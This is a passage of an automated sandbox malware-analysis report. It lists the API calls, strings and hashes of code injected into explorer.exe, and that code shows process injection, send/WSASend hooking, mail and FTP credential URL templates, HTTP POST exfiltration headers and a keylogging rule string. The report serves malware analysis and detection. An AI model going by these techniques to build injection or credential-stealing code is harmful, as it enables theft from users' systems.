CryptHashData.ADVAPI32(?,?,00000000,?,00000000), ref: 02F02685
CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,?,00000000,?,00000000), ref: 02F0269F
wsprintfA.USER32 ref: 02F026B6
CryptDestroyHash.ADVAPI32(?), ref: 02F026CF
CryptReleaseContext.ADVAPI32(?,00000000), ref: 02F026D9

Strings

%02X, xrefs: 02F026B0

Memory Dump Source

Source File: 00000010.00000002.4579455330.0000000002F01000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F01000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2f01000_explorer.jbxd

Yara matches

Similarity

API ID: Crypt$Hash$Context$AcquireCreateDataDestroyParamReleaselstrlenwsprintf
String ID: %02X
API String ID: 3341110664-436463671
Opcode ID: f1e3251b2238b6ef6ff073e82fdb3261a9d825fdffc36260ba92bae6f0bffa78
Instruction ID: 8bf74fd0840053741c35b433153d37e21d884a3af88476910118b9eb704f5208
Opcode Fuzzy Hash: f1e3251b2238b6ef6ff073e82fdb3261a9d825fdffc36260ba92bae6f0bffa78
Instruction Fuzzy Hash: 4B111971D4110CBFEB119B95EC88EAEBBBCFB48B85F1044A5F605E2144D6718E519B60

Function 02F01B17 Relevance: 6.1, APIs: 4, Instructions: 101
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlMoveMemory.NTDLL(?,?,?), ref: 02F01B4E
LoadLibraryA.KERNEL32(?,02F04434,00000000,00000000,76232EE0,00000000,02F01910,?,?,?,00000001,?,00000000), ref: 02F01B76
GetProcAddress.KERNEL32(00000000,-00000002), ref: 02F01BA3
LdrProcessRelocationBlock.NTDLL(?,?,00000008,?), ref: 02F01BF4

Memory Dump Source

Source File: 00000010.00000002.4579455330.0000000002F01000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F01000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2f01000_explorer.jbxd

Yara matches

Similarity

API ID: AddressBlockLibraryLoadMemoryMoveProcProcessRelocation
String ID:
API String ID: 3827878703-0
Opcode ID: 8c593f8935ba08d92c8b95c8ca36aba7dbc0b705d18588137ea527557902fdad
Instruction ID: f1880af11dcec869ea3abcc6a83fa8fe8c4c684b95407939219eee746b483273
Opcode Fuzzy Hash: 8c593f8935ba08d92c8b95c8ca36aba7dbc0b705d18588137ea527557902fdad
Instruction Fuzzy Hash: 10318475B00215ABCB24CF2DCCC4BA7B7E8BF05399B15856DE94AC7280E731E855DBA0

Function 02F01332 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 94
libraryloadersleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02F02861: GetProcessHeap.KERNEL32(00000008,0000A000,02F010CC), ref: 02F02864
Part of subcall function 02F02861: RtlAllocateHeap.NTDLL(00000000), ref: 02F0286B

GetModuleFileNameA.KERNEL32(00000000,00000000,00000104,?,?,02F0109E,?,02F01010), ref: 02F0134A
GetCurrentProcessId.KERNEL32(00000003,?,02F0109E,?,02F01010), ref: 02F0135B
wsprintfA.USER32 ref: 02F01372

Part of subcall function 02F0263E: CryptAcquireContextA.ADVAPI32(?,00000000,00000000,00000001,F0000000), ref: 02F0265A
Part of subcall function 02F0263E: CryptCreateHash.ADVAPI32(?,00008003,00000000,00000000,?), ref: 02F02672
Part of subcall function 02F0263E: lstrlen.KERNEL32(?,00000000), ref: 02F0267A
Part of subcall function 02F0263E: CryptHashData.ADVAPI32(?,?,00000000,?,00000000), ref: 02F02685
Part of subcall function 02F0263E: CryptGetHashParam.ADVAPI32(?,00000002,?,?,00000000,?,00000000,?,00000000), ref: 02F0269F
Part of subcall function 02F0263E: wsprintfA.USER32 ref: 02F026B6
Part of subcall function 02F0263E: CryptDestroyHash.ADVAPI32(?), ref: 02F026CF
Part of subcall function 02F0263E: CryptReleaseContext.ADVAPI32(?,00000000), ref: 02F026D9

CreateMutexA.KERNEL32(00000000,00000000,00000000), ref: 02F01389
GetLastError.KERNEL32 ref: 02F0138F
Sleep.KERNEL32(000001F4), ref: 02F013A1

Part of subcall function 02F024D5: GetCurrentProcessId.KERNEL32 ref: 02F024E7
Part of subcall function 02F024D5: GetCurrentThreadId.KERNEL32 ref: 02F024EF
Part of subcall function 02F024D5: CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 02F024FF
Part of subcall function 02F024D5: Thread32First.KERNEL32(00000000,0000001C), ref: 02F0250D
Part of subcall function 02F024D5: CloseHandle.KERNEL32(00000000), ref: 02F02566

GetModuleHandleA.KERNEL32(ws2_32.dll,send), ref: 02F013B8
GetProcAddress.KERNEL32(00000000), ref: 02F013BF
GetModuleHandleA.KERNEL32(ws2_32.dll,WSASend), ref: 02F013E4
GetProcAddress.KERNEL32(00000000), ref: 02F013EB

Part of subcall function 02F01DE3: RtlMoveMemory.NTDLL(00000000,00000000,00000000), ref: 02F01E1D

RtlExitUserThread.NTDLL(00000000), ref: 02F0141D

Strings

%s%d%d%d, xrefs: 02F0136C
WSASend, xrefs: 02F013DA
send, xrefs: 02F013AE
ws2_32.dll, xrefs: 02F013B3, 02F013DF

Memory Dump Source

Source File: 00000010.00000002.4579455330.0000000002F01000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F01000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2f01000_explorer.jbxd

Yara matches

Similarity

API ID: Crypt$Hash$CreateCurrentHandleModuleProcess$AddressContextHeapProcThreadwsprintf$AcquireAllocateCloseDataDestroyErrorExitFileFirstLastMemoryMoveMutexNameParamReleaseSleepSnapshotThread32Toolhelp32Userlstrlen
String ID: %s%d%d%d$WSASend$send$ws2_32.dll
API String ID: 706757162-1430290102
Opcode ID: da3ba179f8027b43ea8db77472b7bea23ffbda4bc30753af53eab56888dd3827
Instruction ID: 15bfe9049a7d5e23bcc94421dbc6d2fe7f7d08ce909ffa25b4d4808fe1d1d470
Opcode Fuzzy Hash: da3ba179f8027b43ea8db77472b7bea23ffbda4bc30753af53eab56888dd3827
Instruction Fuzzy Hash: 77318134B81218ABEB016FA19DCDF5B7B5ABF05BC5F004454FB0A961D4CB718821ABA1

Function 02F01647 Relevance: 17.6, APIs: 6, Strings: 4, Instructions: 91
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(02F04220,?,?), ref: 02F01679
lstrlen.KERNEL32(?), ref: 02F01686
getpeername.WS2_32(?,?,?), ref: 02F016A0
inet_ntoa.WS2_32(?), ref: 02F016B1
htons.WS2_32(?), ref: 02F016BF
wsprintfA.USER32 ref: 02F01725

Strings

ftp://%s:%s@%s:%d, xrefs: 02F01708
imap://%s:%s@%s:%d, xrefs: 02F016FA
smtp://%s:%s@%s:%d, xrefs: 02F016F3, 02F01723
pop3://%s:%s@%s:%d, xrefs: 02F01701

Memory Dump Source

Source File: 00000010.00000002.4579455330.0000000002F01000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F01000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2f01000_explorer.jbxd

Yara matches

Similarity

API ID: lstrlen$getpeernamehtonsinet_ntoawsprintf
String ID: ftp://%s:%s@%s:%d$imap://%s:%s@%s:%d$pop3://%s:%s@%s:%d$smtp://%s:%s@%s:%d
API String ID: 3379139566-1703351401
Opcode ID: 1b9e9d0bda6b2de0e5d253f9b47ef17b204213efaf5610ef58119445f1af33a6
Instruction ID: 1fadb1d374034880361c1c268d60976c17b5234d0fad76e87ae3a1f275cb45b3
Opcode Fuzzy Hash: 1b9e9d0bda6b2de0e5d253f9b47ef17b204213efaf5610ef58119445f1af33a6
Instruction Fuzzy Hash: 6A21BA36E0020DA79F115FE98DC857FBAA9AB453C5B0440B5DB0CD3184D730D910EB60

Function 02F01752 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 44
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,sscanf,?,?,?,02F01539,?,?,?,02F0144B,?), ref: 02F01763
GetProcAddress.KERNEL32(00000000), ref: 02F0176A
RtlZeroMemory.NTDLL(02F04228,00000104), ref: 02F01788
RtlZeroMemory.NTDLL(02F04118,00000104), ref: 02F01790
RtlZeroMemory.NTDLL(02F04330,00000104), ref: 02F01798
RtlZeroMemory.NTDLL(02F04000,00000104), ref: 02F017A1

Strings

sscanf, xrefs: 02F01755
%s%s%s%s, xrefs: 02F017B3
ntdll.dll, xrefs: 02F0175A

Memory Dump Source

Source File: 00000010.00000002.4579455330.0000000002F01000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F01000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2f01000_explorer.jbxd

Yara matches

Similarity

API ID: MemoryZero$AddressHandleModuleProc
String ID: %s%s%s%s$ntdll.dll$sscanf
API String ID: 1490332519-278825019
Opcode ID: 02c64d8ffadb19b7be3ccb015a3c650dc3a7a65d4d19fcfc9dd8205cc4cab757
Instruction ID: 1f081dc3d55a467ff8dd25b79d489572f6e8bb8dbfd451bca2a1339ef9306ce8
Opcode Fuzzy Hash: 02c64d8ffadb19b7be3ccb015a3c650dc3a7a65d4d19fcfc9dd8205cc4cab757
Instruction Fuzzy Hash: F8F08962FC132C33B11032AB7DC6D47BF5CD955DEA3430191B70A731858995E80067B4

Function 02F024D5 Relevance: 15.1, APIs: 10, Instructions: 51
threadprocessinjectionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcessId.KERNEL32 ref: 02F024E7
GetCurrentThreadId.KERNEL32 ref: 02F024EF
CreateToolhelp32Snapshot.KERNEL32(00000004,00000000), ref: 02F024FF
Thread32First.KERNEL32(00000000,0000001C), ref: 02F0250D
OpenThread.KERNEL32(001FFFFF,00000000,?), ref: 02F0252C
SuspendThread.KERNEL32(00000000), ref: 02F0253C
CloseHandle.KERNEL32(00000000), ref: 02F0254B
Thread32Next.KERNEL32(00000000,0000001C), ref: 02F0255B
CloseHandle.KERNEL32(00000000), ref: 02F02566

Memory Dump Source

Source File: 00000010.00000002.4579455330.0000000002F01000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F01000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2f01000_explorer.jbxd

Yara matches

Similarity

API ID: Thread$CloseCurrentHandleThread32$CreateFirstNextOpenProcessSnapshotSuspendToolhelp32
String ID:
API String ID: 1467098526-0
Opcode ID: c55f6c958d77448c7bca51d2bfc0c4220e399d89c29dc3f691572991d2d5518f
Instruction ID: 7784609e3a687cfcc500455b822c4a5c4e72afb239a01c84067d78a416af0e15
Opcode Fuzzy Hash: c55f6c958d77448c7bca51d2bfc0c4220e399d89c29dc3f691572991d2d5518f
Instruction Fuzzy Hash: 0A11C271C46208EFD7109F60A89CF3FFBA4FF84B89F000959FA4182284D33094199BA6

Function 02F01F4A Relevance: 14.3, APIs: 4, Strings: 4, Instructions: 283
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 02F02861: GetProcessHeap.KERNEL32(00000008,0000A000,02F010CC), ref: 02F02864
Part of subcall function 02F02861: RtlAllocateHeap.NTDLL(00000000), ref: 02F0286B

Part of subcall function 02F027E2: lstrlen.KERNEL32(02F040DA,?,00000000,00000000,02F01F86,76228A60,02F040DA,00000000), ref: 02F027EA
Part of subcall function 02F027E2: MultiByteToWideChar.KERNEL32(00000000,00000000,02F040DA,00000001,00000000,00000000), ref: 02F027FC

Part of subcall function 02F02374: RtlZeroMemory.NTDLL(?,00000018), ref: 02F02386

RtlZeroMemory.NTDLL(?,0000003C), ref: 02F01FE2
wsprintfW.USER32 ref: 02F0211B
wsprintfW.USER32 ref: 02F02186
RtlMoveMemory.NTDLL(00000000,00000000,?), ref: 02F02250

Strings

Content-Type: application/x-www-form-urlencoded, xrefs: 02F021AA
Accept: */*Referer: %S, xrefs: 02F02111
POST, xrefs: 02F020CC
Host: %s, xrefs: 02F02180

Memory Dump Source

Source File: 00000010.00000002.4579455330.0000000002F01000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F01000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2f01000_explorer.jbxd

Yara matches

Similarity

API ID: Memory$HeapZerowsprintf$AllocateByteCharMoveMultiProcessWidelstrlen
String ID: Accept: */*Referer: %S$Content-Type: application/x-www-form-urlencoded$Host: %s$POST
API String ID: 4204651544-1701262698
Opcode ID: 8ff8626580ad10fb7485a7877493cfb84ef5961f2384a3daef42bb63c37e6684
Instruction ID: 9092dc84775a44b799445d402158fa4de3690972ec5c4a7d3c97386d40cece59
Opcode Fuzzy Hash: 8ff8626580ad10fb7485a7877493cfb84ef5961f2384a3daef42bb63c37e6684
Instruction Fuzzy Hash: CAA15E71A09305AFE7109F64D8C8E2BBBE9BB88784F10492DFA45D3291DB70D9049B62

Function 02F025AD Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenProcess.KERNEL32(00000400,00000000,?,7622E800,?,?,microsoftedgecp.exe,02F01287), ref: 02F025BF
IsWow64Process.KERNEL32(000000FF,?), ref: 02F025D1
IsWow64Process.KERNEL32(00000000,?), ref: 02F025E4
CloseHandle.KERNEL32(00000000), ref: 02F025FA

Strings

microsoftedgecp.exe, xrefs: 02F025AD

Memory Dump Source

Source File: 00000010.00000002.4579455330.0000000002F01000.00000040.80000000.00040000.00000000.sdmp, Offset: 02F01000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_2f01000_explorer.jbxd

Yara matches

Similarity

API ID: Process$Wow64$CloseHandleOpen
String ID: microsoftedgecp.exe
API String ID: 331459951-1475183003
Opcode ID: a8ce12b932cff7cde55cada4657c2e5da4cbadee2067f130ded43959c543db99
Instruction ID: 825d3c5efe3eb59415c6c5ace5cdd8612a81ced41429a5fcec473fe075409eaf
Opcode Fuzzy Hash: a8ce12b932cff7cde55cada4657c2e5da4cbadee2067f130ded43959c543db99
Instruction Fuzzy Hash: ABF06272D4261CFF9B108F9099D8DBFB76CEB01699B140299EA0092280D7314F04E6A4

Analysis Process: explorer.exePID: 2736, Parent PID: 4004COMMON

Execution Graph

Execution Coverage:	8.8%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	9
Total number of Limit Nodes:	2

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 005C355C Relevance: 1.6, APIs: 1, Instructions: 73
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtUnmapViewOfSection.NTDLL ref: 005C35D8

Memory Dump Source

Source File: 00000011.00000002.4578892665.00000000005C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 005C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_5c1000_explorer.jbxd

Yara matches

Similarity

API ID: SectionUnmapView
String ID:
API String ID: 498011366-0
Opcode ID: 105ce7ebc966886b9a25723169f2257f301d4275c672492e635fc8e478682f43
Instruction ID: 322baffc1c02afe4287959af49104bc3d8baeffb05ba91e88e1e2bbfb6d2a77c
Opcode Fuzzy Hash: 105ce7ebc966886b9a25723169f2257f301d4275c672492e635fc8e478682f43
Instruction Fuzzy Hash: 7C119430615E0D5FEB58BBF8989DB793BA0FB55301F54412EA419C76A1DA39CA40C741

Function 005C3220 Relevance: 7.7, APIs: 5, Instructions: 241
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 005C3266
Process32First.KERNEL32 ref: 005C3289
Process32Next.KERNEL32 ref: 005C3532
CloseHandle.KERNELBASE ref: 005C3543
SleepEx.KERNELBASE ref: 005C354E

Memory Dump Source

Source File: 00000011.00000002.4578892665.00000000005C1000.00000040.80000000.00040000.00000000.sdmp, Offset: 005C1000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_5c1000_explorer.jbxd

Yara matches

Similarity

API ID: Process32$CloseCreateFirstHandleNextSleepSnapshotToolhelp32
String ID:
API String ID: 2482764027-0
Opcode ID: dd7379c30c01fbe83c455f487028ed93214d04d4b8b4672215a43173641bdad8
Instruction ID: 2b30515ccdb89e08f50fd30113119eb5ce4c3f53cf6f5398538fb0bf8443668d
Opcode Fuzzy Hash: dd7379c30c01fbe83c455f487028ed93214d04d4b8b4672215a43173641bdad8
Instruction Fuzzy Hash: 628125312186098FEB1AEF54EC98FE6B7A1FB51741F54861EA443C7160EF78DA04CB81

Function 005CA048 Relevance: 4.7, APIs: 3, Instructions: 223
memorylibraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryA.KERNELBASE ref: 005CA147
VirtualProtect.KERNELBASE(?,?,?,?,?,?,?,-0000000E), ref: 005CA1BB
VirtualProtect.KERNELBASE ref: 005CA1D9

Memory Dump Source

Source File: 00000011.00000002.4578892665.00000000005C7000.00000040.80000000.00040000.00000000.sdmp, Offset: 005C7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_5c7000_explorer.jbxd

Similarity

API ID: ProtectVirtual$LibraryLoad
String ID:
API String ID: 895956442-0
Opcode ID: 9471cbd89cfacdc20873a06991d91791c754b160c08a2600c3720216ed5fc549
Instruction ID: 7328117f6ba064af21b11ea2df17775bbb776b62b4758f3b362c0dec4fb05ce9
Opcode Fuzzy Hash: 9471cbd89cfacdc20873a06991d91791c754b160c08a2600c3720216ed5fc549
Instruction Fuzzy Hash: 8D516A3135891D4ECB24AAB89CC8BB5BFD1F755329F18072ED48AC3285E659D846C383

Analysis Process: explorer.exePID: 1600, Parent PID: 4004COMMON

Execution Graph

Execution Coverage:	9.6%
Dynamic/Decrypted Code Coverage:	97.5%
Signature Coverage:	18%
Total number of Nodes:	322
Total number of Limit Nodes:	4

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 00471016 Relevance: 35.2, APIs: 14, Strings: 6, Instructions: 193
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00472724: VirtualQuery.KERNEL32(00000000,?,0000001C,?,?,?,00000000,004729F3,-00000001,0047128C), ref: 00472731

Part of subcall function 00472A09: GetProcessHeap.KERNEL32(00000008,0000A000,004710BF), ref: 00472A0C
Part of subcall function 00472A09: RtlAllocateHeap.NTDLL(00000000), ref: 00472A13

RtlMoveMemory.NTDLL(00000000,?,00000363), ref: 00471038
RtlMoveMemory.NTDLL(00000000,?,?), ref: 0047106C
NtUnmapViewOfSection.NTDLL(000000FF,?), ref: 00471075
GetCurrentProcessId.KERNEL32(?,00471010), ref: 0047107B
wsprintfA.USER32 ref: 004710E7
RtlMoveMemory.NTDLL(00000000,0000000C,-00000001), ref: 00471155
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00471160
Process32First.KERNEL32(00000000,?), ref: 0047117F
CharLowerA.USER32(?), ref: 00471199
lstrcmpiA.KERNEL32(?,explorer.exe), ref: 004711B5
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 00471212
Process32Next.KERNEL32(00000000,00000128), ref: 0047126C
CloseHandle.KERNEL32(00000000), ref: 0047127F
Sleep.KERNELBASE(000003E8), ref: 0047129F

Strings

0-8wP,8w, xrefs: 00471075
keylog_rules=, xrefs: 0047110D
%s%s, xrefs: 004710E1
explorer.exe, xrefs: 004711AB
|:|, xrefs: 00471125
microsoftedgecp.exe, xrefs: 00471208

Memory Dump Source

Source File: 00000012.00000002.4579461534.0000000000471000.00000040.80000000.00040000.00000000.sdmp, Offset: 00471000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_471000_explorer.jbxd

Similarity

API ID: MemoryMove$HeapProcessProcess32lstrcmpi$AllocateCharCloseCreateCurrentFirstHandleLowerNextQuerySectionSleepSnapshotToolhelp32UnmapViewVirtualwsprintf
String ID: %s%s$0-8wP,8w$explorer.exe$keylog_rules=$microsoftedgecp.exe$|:|
API String ID: 3206029838-1920841371
Opcode ID: 787651e8b4702a3a48997a1e6be7bf90d2092727d5f6dee79a5c9481f94e633c
Instruction ID: 49fc6f7850c0ceac07304724a1b84891b4078f6b536d3b0d563e0ede0517dd86
Opcode Fuzzy Hash: 787651e8b4702a3a48997a1e6be7bf90d2092727d5f6dee79a5c9481f94e633c
Instruction Fuzzy Hash: A55136302003405BC714BF79DD449FB37A9EB44705F00863EB94D972B2EA788A8596AE

Function 004710A5 Relevance: 26.4, APIs: 10, Strings: 5, Instructions: 151
stringsleepprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00472A09: GetProcessHeap.KERNEL32(00000008,0000A000,004710BF), ref: 00472A0C
Part of subcall function 00472A09: RtlAllocateHeap.NTDLL(00000000), ref: 00472A13

wsprintfA.USER32 ref: 004710E7

Part of subcall function 0047276D: OpenFileMappingA.KERNEL32(00000006,00000000,00000000), ref: 00472777
Part of subcall function 0047276D: MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000,?,?,004710FE), ref: 00472789

RtlMoveMemory.NTDLL(00000000,0000000C,-00000001), ref: 00471155
CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00471160
Process32First.KERNEL32(00000000,?), ref: 0047117F
CharLowerA.USER32(?), ref: 00471199
lstrcmpiA.KERNEL32(?,explorer.exe), ref: 004711B5
lstrcmpiA.KERNEL32(?,microsoftedgecp.exe), ref: 00471212
Process32Next.KERNEL32(00000000,00000128), ref: 0047126C
CloseHandle.KERNEL32(00000000), ref: 0047127F
Sleep.KERNELBASE(000003E8), ref: 0047129F

Strings

keylog_rules=, xrefs: 0047110D
%s%s, xrefs: 004710E1
explorer.exe, xrefs: 004711AB
|:|, xrefs: 00471125
microsoftedgecp.exe, xrefs: 00471208

Memory Dump Source

Source File: 00000012.00000002.4579461534.0000000000471000.00000040.80000000.00040000.00000000.sdmp, Offset: 00471000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_471000_explorer.jbxd

Similarity

API ID: FileHeapProcess32lstrcmpi$AllocateCharCloseCreateFirstHandleLowerMappingMemoryMoveNextOpenProcessSleepSnapshotToolhelp32Viewwsprintf
String ID: %s%s$explorer.exe$keylog_rules=$microsoftedgecp.exe$|:|
API String ID: 3018447944-2805246637
Opcode ID: e0646f17fe3737e08e7413e7499c1963b65d8cb5172cd33f363e64b7b1bb79c5
Instruction ID: ecf29531ae940c8a5d5b0e8f51eb46552479e305d73e02d238df061ce512e0bd
Opcode Fuzzy Hash: e0646f17fe3737e08e7413e7499c1963b65d8cb5172cd33f363e64b7b1bb79c5
Instruction Fuzzy Hash: FC4136302003005BC714BF758D859BF73A9EB84745F00862EB94D972E2EB789E4996AE

Function 00479AE0 Relevance: 6.2, APIs: 4, Instructions: 194
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000012.00000002.4579461534.0000000000478000.00000040.80000000.00040000.00000000.sdmp, Offset: 00478000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_478000_explorer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 86ad4dce17d5d66b59a335e9c46dcb65276b68e464c2ab6c7f5f20788b5df211
Instruction ID: 0d014601f207436a0e699606bd555c92a3004ec98f8554e091ea031b4c86459f
Opcode Fuzzy Hash: 86ad4dce17d5d66b59a335e9c46dcb65276b68e464c2ab6c7f5f20788b5df211
Instruction Fuzzy Hash: 26511B71A442525EDB218A78DCC07E177A4FB52324B28473AC5EDC73C5E79C6C06C799

Function 0047276D Relevance: 3.0, APIs: 2, Instructions: 23
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

OpenFileMappingA.KERNEL32(00000006,00000000,00000000), ref: 00472777
MapViewOfFile.KERNELBASE(00000000,00000006,00000000,00000000,00000000,?,?,004710FE), ref: 00472789

Memory Dump Source

Source File: 00000012.00000002.4579461534.0000000000471000.00000040.80000000.00040000.00000000.sdmp, Offset: 00471000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_471000_explorer.jbxd

Similarity

API ID: File$MappingOpenView
String ID:
API String ID: 3439327939-0
Opcode ID: 67b9db2db91f856543e84ad09ff61f0cf92298acb1f5034ee2c868e1ecc6af0f
Instruction ID: b958134215c59e1b4e2d81b147134925f30c940117af6f6d28a0adec730310e2
Opcode Fuzzy Hash: 67b9db2db91f856543e84ad09ff61f0cf92298acb1f5034ee2c868e1ecc6af0f
Instruction Fuzzy Hash: 87D01732701232BBE3385E7B6C0DF83AE9DDF86AE2B014025B50DD2150D6608810C6F4

Function 0047275A Relevance: 3.0, APIs: 2, Instructions: 8
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

UnmapViewOfFile.KERNEL32(00000000,?,0047129A,00000001), ref: 0047275E
CloseHandle.KERNELBASE(?,?,0047129A,00000001), ref: 00472765

Memory Dump Source

Source File: 00000012.00000002.4579461534.0000000000471000.00000040.80000000.00040000.00000000.sdmp, Offset: 00471000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_471000_explorer.jbxd

Similarity

API ID: CloseFileHandleUnmapView
String ID:
API String ID: 2381555830-0
Opcode ID: d37c8bdbc55deb7a4a78269f6add7823d7648cf4b74196e3c67522b266a8dce0
Instruction ID: 4dc1c12aaac84318bdaee893cbf38f77dc13cf6b9fd738b2f3cca6676a1a41e1
Opcode Fuzzy Hash: d37c8bdbc55deb7a4a78269f6add7823d7648cf4b74196e3c67522b266a8dce0
Instruction Fuzzy Hash: F6B0123240507197C3142F347C0C8DB3E18FE492233054164F20D8101847240A81A6ED

Function 00472A09 Relevance: 3.0, APIs: 2, Instructions: 6
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,0000A000,004710BF), ref: 00472A0C
RtlAllocateHeap.NTDLL(00000000), ref: 00472A13

Memory Dump Source

Source File: 00000012.00000002.4579461534.0000000000471000.00000040.80000000.00040000.00000000.sdmp, Offset: 00471000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_471000_explorer.jbxd

Similarity

API ID: Heap$AllocateProcess
String ID:
API String ID: 1357844191-0
Opcode ID: cab9d31350eee82f6b681238f83a08c53bf8e23316f911460614272b69669186
Instruction ID: 44ef23222b921e47cc262f2f483aa895c0270fcf7edb01de5d9b64096126d031
Opcode Fuzzy Hash: cab9d31350eee82f6b681238f83a08c53bf8e23316f911460614272b69669186
Instruction Fuzzy Hash: 37A002B16501906BDD446FB49D0DF157658A744703F004554724EC50549D7555849725

Non-executed Functions

Function 004718BF Relevance: 47.5, APIs: 23, Strings: 4, Instructions: 208
injectionnativesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00472724: VirtualQuery.KERNEL32(00000000,?,0000001C,?,?,?,00000000,004729F3,-00000001,0047128C), ref: 00472731

OpenProcess.KERNEL32(001FFFFF,00000000,?,00000000,?,00000000,00000001), ref: 004718F4
NtSetInformationProcess.NTDLL(00000000,00000034,?), ref: 0047192F
NtUnmapViewOfSection.NTDLL(000000FF,00000000), ref: 004719BF
RtlMoveMemory.NTDLL(00000000,00473638,00000016), ref: 004719E6
RtlMoveMemory.NTDLL(-00000016,00000363), ref: 00471A0E
NtUnmapViewOfSection.NTDLL(000000FF,-00000016), ref: 00471A1E
CreateMutexA.KERNEL32(00000000,00000000,opera_shared_counter,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00471A38
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?,00000000), ref: 00471A40
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 00471A4E
Sleep.KERNEL32(000003E8,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 00471A55
GetModuleHandleA.KERNEL32(ntdll,atan,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 00471A6B
GetProcAddress.KERNEL32(00000000), ref: 00471A72
ReadProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 00471A88
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 00471AB2
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00471AC5
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 00471ACC
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 00471AD3
WriteProcessMemory.KERNEL32(00000000,00000000,?,00000005,00000363), ref: 00471AE7
CreateRemoteThread.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00471AFE
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 00471B0B
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 00471B11
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001,?), ref: 00471B17
CloseHandle.KERNEL32(00000000,?,00000000), ref: 00471B1A

Strings

opera_shared_counter, xrefs: 00471A31
0-8wP,8w, xrefs: 004719B6
atan, xrefs: 00471A61
ntdll, xrefs: 00471A66

Memory Dump Source

